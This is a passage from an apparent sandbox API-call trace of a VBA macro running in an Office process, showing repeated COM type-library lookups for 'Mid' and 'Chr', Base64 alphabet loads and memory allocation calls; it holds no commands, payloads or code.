lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.641] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124910, pbstrName=0x0, pwOrdinal=0x124930 | out: pBstrDllName=0x124910*=0x0, pbstrName=0x0, pwOrdinal=0x124930*=0x4ba0) returned 0x0 [0053.641] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000) returned 0x0 [0053.641] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x53) returned 1 [0053.641] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.641] _mbscpy_s (in: _Dst=0x6907620, _DstSizeInBytes=0x4, _Src=0x3c0133a | out: _Dst=0x6907620) returned 0x0 [0053.641] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0053.641] IUnknown:AddRef (This=0x677d9c0) returned 0x10 [0053.641] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.641] IUnknown:AddRef (This=0x69b2e28) returned 0x4 [0053.641] IUnknown:Release (This=0x69b2e28) returned 0x3 [0053.641] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d8 | out: ppvObject=0x1250d8*=0x0) returned 0x80004002 [0053.641] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d0 | out: ppvObject=0x1250d0*=0x0) returned 0x80004002 [0053.641] IMalloc:Free (This=0x7feffc15380, pv=0x6907620) [0053.641] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124910, pIndex=0x0 | out: ppTLib=0x124910*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.641] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124920, pDummy=0x0 | out: ppTLibAttr=0x124920, pDummy=0x0) returned 0x0 [0053.641] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.641] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.641] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x124910, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.641] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124910, pbstrName=0x0, pwOrdinal=0x124930 | out: pBstrDllName=0x124910*=0x0, pbstrName=0x0, pwOrdinal=0x124930*=0x4ba0) returned 0x0 [0053.641] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000) returned 0x0 [0053.641] _mbscpy_s (in: _Dst=0x6907620, _DstSizeInBytes=0x4, _Src=0x3c0133a | out: _Dst=0x6907620) returned 0x0 [0053.641] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0053.642] IUnknown:AddRef (This=0x677d9c0) returned 0x10 [0053.642] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.642] IUnknown:AddRef (This=0x69b2e28) returned 0x4 [0053.642] IUnknown:Release (This=0x69b2e28) returned 0x3 [0053.642] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d8 | out: ppvObject=0x1250d8*=0x0) returned 0x80004002 [0053.642] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d0 | out: ppvObject=0x1250d0*=0x0) returned 0x80004002 [0053.642] IMalloc:Free (This=0x7feffc15380, pv=0x6907620) [0053.642] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124910, pIndex=0x0 | out: ppTLib=0x124910*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.642] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124920, pDummy=0x0 | out: ppTLibAttr=0x124920, pDummy=0x0) returned 0x0 [0053.642] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.642] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.642] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x124910, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.642] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124910, pbstrName=0x0, pwOrdinal=0x124930 | out: pBstrDllName=0x124910*=0x0, pbstrName=0x0, pwOrdinal=0x124930*=0x4ba0) returned 0x0 [0053.642] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000) returned 0x0 [0053.642] _mbscpy_s (in: _Dst=0x6907620, _DstSizeInBytes=0x4, _Src=0x3c0133a | out: _Dst=0x6907620) returned 0x0 [0053.642] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0053.642] IUnknown:AddRef (This=0x677d9c0) returned 0x10 [0053.642] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.642] IUnknown:AddRef (This=0x69b2e28) returned 0x4 [0053.642] IUnknown:Release (This=0x69b2e28) returned 0x3 [0053.642] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d8 | out: ppvObject=0x1250d8*=0x0) returned 0x80004002 [0053.642] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d0 | out: ppvObject=0x1250d0*=0x0) returned 0x80004002 [0053.642] IMalloc:Free (This=0x7feffc15380, pv=0x6907620) [0053.642] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124910, pIndex=0x0 | out: ppTLib=0x124910*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.642] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124920, pDummy=0x0 | out: ppTLibAttr=0x124920, pDummy=0x0) returned 0x0 [0053.642] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.642] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.642] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x124910, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.643] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124910, pbstrName=0x0, pwOrdinal=0x124930 | out: pBstrDllName=0x124910*=0x0, pbstrName=0x0, pwOrdinal=0x124930*=0x4ba0) returned 0x0 [0053.643] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000) returned 0x0 [0053.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x661c4ba, cbMultiByte=65, lpWideCharStr=0x43d23ac, cchWideChar=132 | out: lpWideCharStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=") returned 65 [0053.643] _mbscpy_s (in: _Dst=0x6907620, _DstSizeInBytes=0x4, _Src=0x3c0133a | out: _Dst=0x6907620) returned 0x0 [0053.643] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0053.643] IUnknown:AddRef (This=0x677d9c0) returned 0x10 [0053.643] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.643] IUnknown:AddRef (This=0x69b2e28) returned 0x4 [0053.643] IUnknown:Release (This=0x69b2e28) returned 0x3 [0053.643] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d8 | out: ppvObject=0x1250d8*=0x0) returned 0x80004002 [0053.643] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d0 | out: ppvObject=0x1250d0*=0x0) returned 0x80004002 [0053.643] IMalloc:Free (This=0x7feffc15380, pv=0x6907620) [0053.643] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124910, pIndex=0x0 | out: ppTLib=0x124910*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.643] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124920, pDummy=0x0 | out: ppTLibAttr=0x124920, pDummy=0x0) returned 0x0 [0053.643] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.643] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.643] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x124910, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.643] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124910, pbstrName=0x0, pwOrdinal=0x124930 | out: pBstrDllName=0x124910*=0x0, pbstrName=0x0, pwOrdinal=0x124930*=0x4ba0) returned 0x0 [0053.643] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000) returned 0x0 [0053.643] IMalloc:Realloc (This=0x7feffc15380, pv=0x69a0ea0, cb=0xc0) returned 0x69a5200 [0053.643] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x43e0000 [0053.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x661c4ba, cbMultiByte=65, lpWideCharStr=0x43e04d4, cchWideChar=132 | out: lpWideCharStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=") returned 65 [0053.644] _mbscpy_s (in: _Dst=0x6907620, _DstSizeInBytes=0x4, _Src=0x3c0133a | out: _Dst=0x6907620) returned 0x0 [0053.644] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0053.644] IUnknown:AddRef (This=0x677d9c0) returned 0x10 [0053.644] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.644] IUnknown:AddRef (This=0x69b2e28) returned 0x4 [0053.644] IUnknown:Release (This=0x69b2e28) returned 0x3 [0053.644] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d8 | out: ppvObject=0x1250d8*=0x0) returned 0x80004002 [0053.644] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d0 | out: ppvObject=0x1250d0*=0x0) returned 0x80004002 [0053.644] IMalloc:Free (This=0x7feffc15380, pv=0x6907620) [0053.644] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124910, pIndex=0x0 | out: ppTLib=0x124910*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.644] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124920, pDummy=0x0 | out: ppTLibAttr=0x124920, pDummy=0x0) returned 0x0 [0053.645] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.645] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.645] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x124910, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.645] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124910, pbstrName=0x0, pwOrdinal=0x124930 | out: pBstrDllName=0x124910*=0x0, pbstrName=0x0, pwOrdinal=0x124930*=0x4ba0) returned 0x0 [0053.645] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000) returned 0x0 [0053.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x661c4ba, cbMultiByte=65, lpWideCharStr=0x43e1674, cchWideChar=132 | out: lpWideCharStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=") returned 65 [0053.645] _mbscpy_s (in: _Dst=0x6907620, _DstSizeInBytes=0x4, _Src=0x3c0133a | out: _Dst=0x6907620) returned 0x0 [0053.645] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0053.645] IUnknown:AddRef (This=0x677d9c0) returned 0x10 [0053.645] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.645] IUnknown:AddRef (This=0x69b2e28) returned 0x4 [0053.645] IUnknown:Release (This=0x69b2e28) returned 0x3 [0053.645] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d8 | out: ppvObject=0x1250d8*=0x0) returned 0x80004002 [0053.645] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250d0 | out: ppvObject=0x1250d0*=0x0) returned 0x80004002 [0053.645] IMalloc:Free (This=0x7feffc15380, pv=0x6907620) [0053.645] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b2e28, ppTLib=0x124910, pIndex=0x0 | out: ppTLib=0x124910*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.645] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124920, pDummy=0x0 | out: ppTLibAttr=0x124920, pDummy=0x0) returned 0x0 [0053.645] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.645] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.645] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x124910, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.645] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x124910, pbstrName=0x0, pwOrdinal=0x124930 | out: pBstrDllName=0x124910*=0x0, pbstrName=0x0, pwOrdinal=0x124930*=0x4ba0) returned 0x0 [0053.645] ITypeInfo:RemoteGetDllEntry (in: This=0x69b2e28, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x124910, pwOrdinal=0x500000000) returned 0x0 [0053.646] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0053.646] strcpy_s (in: _Dst=0x124da0, _DstSize=0x4, _Src="Chr" | out: _Dst="Chr") returned 0x0 [0053.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x124da0, cbMultiByte=4, lpWideCharStr=0x124bf0, cchWideChar=4 | out: lpWideCharStr="Chr") returned 4 [0053.646] IUnknown:AddRef (This=0x677d9c0) returned 0x10 [0053.646] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="Chr", lHashVal=0x107e4b, pfName=0x124cc0, pBstrLibName=0x124bf0 | out: pfName=0x124cc0*=1, pBstrLibName=0x124bf0) returned 0x0 [0053.646] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Chr", cchWideChar=-1, lpMultiByteStr=0x124da0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Chr", lpUsedDefaultChar=0x0) returned 4 [0053.646] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0053.646] IUnknown:Release (This=0x68569a0) returned 0x6 [0053.646] IUnknown:Release (This=0x68569a0) returned 0x5 [0053.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ef2cae, cbMultiByte=4, lpWideCharStr=0x124d20, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0053.646] ITypeComp:RemoteBind (in: This=0x68569a8, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x124cd8, pDescKind=0x124cec, ppFuncDesc=0x124cf0, ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124cd8*=0x0, pDescKind=0x124cec*=0, ppFuncDesc=0x124cf0, ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02d16, cbMultiByte=4, lpWideCharStr=0x124e80, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0053.646] ITypeComp:RemoteBind (in: This=0x677d9d0, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x124e38, pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x0, pDescKind=0x124e4c*=0, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02d16, cbMultiByte=4, lpWideCharStr=0x124e80, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0053.646] ITypeComp:RemoteBind (in: This=0x677aa00, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x124e38, pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x0, pDescKind=0x124e4c*=0, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02d16, cbMultiByte=4, lpWideCharStr=0x124e80, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0053.646] ITypeComp:RemoteBind (in: This=0x677acd0, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x124e38, pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x0, pDescKind=0x124e4c*=0, ppFuncDesc=0x124e50, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.646] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0053.646] ITypeComp:RemoteBind (in: This=0x677dca0, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x124e38, pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x7fee496230a, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x0, pDescKind=0x124e4c*=0, ppFuncDesc=0x124e50, ppVarDesc=0x7fee496230a, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.647] IMalloc:Alloc (This=0x7feffc15380, cb=0xb) returned 0x6907620 [0053.647] _mbscpy_s (in: _Dst=0x6907620, _DstSizeInBytes=0x4, _Src=0x3c02d16 | out: _Dst=0x6907620) returned 0x0 [0053.647] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Chr") returned 0x103b5c [0053.647] strcpy_s (in: _Dst=0x124f90, _DstSize=0xb, _Src="_B_var_Chr" | out: _Dst="_B_var_Chr") returned 0x0 [0053.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x124f90, cbMultiByte=11, lpWideCharStr=0x124de0, cchWideChar=11 | out: lpWideCharStr="_B_var_Chr") returned 11 [0053.647] IUnknown:AddRef (This=0x677d9c0) returned 0x10 [0053.647] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="_B_var_Chr", lHashVal=0x103b5c, pfName=0x124eb0, pBstrLibName=0x124de0 | out: pfName=0x124eb0*=1, pBstrLibName=0x124de0) returned 0x0 [0053.647] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_var_Chr", cchWideChar=-1, lpMultiByteStr=0x124f90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_var_Chr", lpUsedDefaultChar=0x0) returned 11 [0053.647] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Chr") returned 0x103b5c [0053.647] IUnknown:AddRef (This=0x677d9c0) returned 0x10 [0053.647] IUnknown:Release (This=0x677d9c0) returned 0xf [0053.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x43c0076, cbMultiByte=11, lpWideCharStr=0x124e40, cchWideChar=12 | out: lpWideCharStr="_B_var_Chr") returned 11 [0053.647] ITypeComp:RemoteBind (in: This=0x677d9d0, szName="_B_var_Chr", lHashVal=0x103b5c, wFlags=0x3, ppTInfo=0x124df8, pDescKind=0x124e0c, ppFuncDesc=0x124e10, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124df8*=0x69b2e28, pDescKind=0x124e0c*=1, ppFuncDesc=0x124e10, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.647] ITypeInfo:RemoteGetTypeAttr (in: This=0x69b2e28, ppTypeAttr=0x124e00, pDummy=0x1 | out: ppTypeAttr=0x124e00, pDummy=0x1) returned 0x0 [0053.647] ITypeInfo:LocalReleaseTypeAttr (This=0x69b2e28) returned 0x0 [0053.647] IUnknown:QueryInterface (in: This=0x69b2e28, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x124c60 | out: ppvObject=0x124c60*=0x69b2e28) returned 0x0 [0053.647] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x69b2e28, memid=1610612738, invkind=1, pFuncIndex=0x124ca0 | out: pFuncIndex=0x124ca0*=0x2) returned 0x0 [0053.647] ITypeInfo2:GetFuncCustData (in: This=0x69b2e28, index=0x2, GUID=0x7fee4b43758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x124cb8 | out: pVarVal=0x124cb8*(varType=0x0, wReserved1=0x12, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x103b5c)) returned 0x0 [0053.647] IUnknown:Release (This=0x69b2e28) returned 0x4 [0053.647] IUnknown:AddRef (This=0x69b2e28) returned 0x5 [0053.647] ITypeInfo:LocalReleaseFuncDesc (This=0x69b2e28) returned 0x0 